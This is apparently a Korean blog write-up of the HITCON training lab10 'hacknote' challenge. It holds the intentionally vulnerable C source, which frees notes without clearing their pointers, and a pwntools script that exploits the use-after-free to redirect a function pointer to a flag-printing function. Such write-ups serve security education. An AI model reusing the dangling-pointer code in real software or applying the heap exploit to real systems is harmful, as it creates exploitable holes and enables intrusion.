System/Hitcon training
190422-lab10
WS-_K
2019. 4. 22. 21:12
hacknote.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
|
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
struct note {
void (*printnote)();
char *content ;
};
struct note *notelist[5];
int count = 0;
void print_note_content(struct note *this){
puts(this->content);
}
void add_note(){
int i ;
char buf[8];
int size ;
if(count > 5){
puts("Full");
return ;
}
for(i = 0 ; i < 5 ; i ++){
if(!notelist[i]){
notelist[i] = (struct note*)malloc(sizeof(struct note));
if(!notelist[i]){
puts("Alloca Error");
exit(-1);
}
notelist[i]->printnote = print_note_content;
printf("Note size :");
read(0,buf,8);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size);
if(!notelist[i]->content){
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0,notelist[i]->content,size);
puts("Success !");
count++;
break;
}
}
}
void del_note(){
char buf[4];
int idx ;
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= count){
puts("Out of bound!");
_exit(0);
}
if(notelist[idx]){
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
}
void print_note(){
char buf[4];
int idx ;
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= count){
puts("Out of bound!");
_exit(0);
}
if(notelist[idx]){
notelist[idx]->printnote(notelist[idx]);
}
}
void magic(){
system("cat /home/hacknote/flag");
}
void menu(){
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
printf("Your choice :");
};
int main(){
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
char buf[4];
while(1){
menu();
read(0,buf,4);
switch(atoi(buf)){
case 1 :
add_note();
break ;
case 2 :
del_note();
break ;
case 3 :
print_note();
break ;
case 4 :
exit(0);
break ;
default :
puts("Invalid choice");
break ;
}
}
return 0;
}
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter
|
보호기법 확인
slv.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
|
from pwn import *
p = process('./hacknote')
magic_Addr = 0x8048986
def payload_Add(size, content):
p.recvuntil('Your choice :')
sleep(0.1)
payload = ''
payload += '1'
p.send(payload)
sleep(0.1)
p.recvuntil(':')
payload = ''
payload += str(size)
p.send(payload)
p.recvuntil(':')
sleep(0.1)
payload = ''
payload += content
p.send(payload)
sleep(0.1)
return p.recvuntil('\n')
def payload_Del(index):
p.recvuntil(':')
sleep(0.1)
payload = ''
payload += '2'
p.send(payload)
p.recvuntil(':')
sleep(0.1)
payload = ''
payload += str(index)
p.send(payload)
sleep(0.1)
return p.recvuntil('\n')
def payload_Print(index):
p.recvuntil('Your choice :')
sleep(0.1)
payload = ''
payload += '3'
p.send(payload)
sleep(0.1)
p.recvuntil(':')
payload = ''
payload += str(index)
p.send(payload)
sleep(0.1)
return p.recvuntil('\n')
def main():
# A1: malloc(8), B1: malloc(16)
payload_Add(16,'abcdefg')
# A2: malloc(8), B2: malloc(16)
payload_Add(16,'abcdefg')
# free(A1), free(B1)
payload_Del(0)
# free(A2), free(B2)
payload_Del(1)
# A2: malloc(8), A1: malloc(8)
payload_Add(8,p32(magic_Addr))
flag = payload_Print(0)
if __name__ =='__main__':
main()
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter
|
해당 소스를 보게 되면 정말 허술한 부분이 많은 코드다. del_note에서는 free만 해줄뿐 주소값의 값을 0으로 만들어 주지 않아서 add_note에서 free된 notelist를 if문에서 걸러내지 못한다.
취약점은 Use After Free를 이용해 print_note함수를 부를 때 magic함수로 가게 끔 payload를 짰다.
각 1,2,3번에 해당하는 payload함수를 짜서 돌렸고 def main()부분을 보게 되면 A1, A2는 struct부분 B1, B2는 Content부분이다. 따라서 A1, A2는 malloc(8)에 해당하기 때문에 Add를 2번 실행하고 Delete를 2번 해주면
size(8): A2→A1→0
size(16): B2→B1→0
이렇게 연결리스트가 형성이 되기 때문에 다시한번 Add를 할때 size를 8로 잡아주면 struct부분에는 A2가 들어가고 Content부분에는 A1이 들어가게 된다. 따라서 Content부분에 magic함수의 주소값을 넣어주고 print_note에 A1에 해당하는 index를 넣어주면 magic함수가 실행되게 되는 것이다.
Exploit Flow
1. hacknote.c의 함수별 payload작성
2. size:16인 note를 2개 생성 및 삭제
3. size:8인 note를 생성 Content는 magic함수의 주소
4. index에 0을 넣은 print_note함수 실행
5. magic함수 실행
6. exploit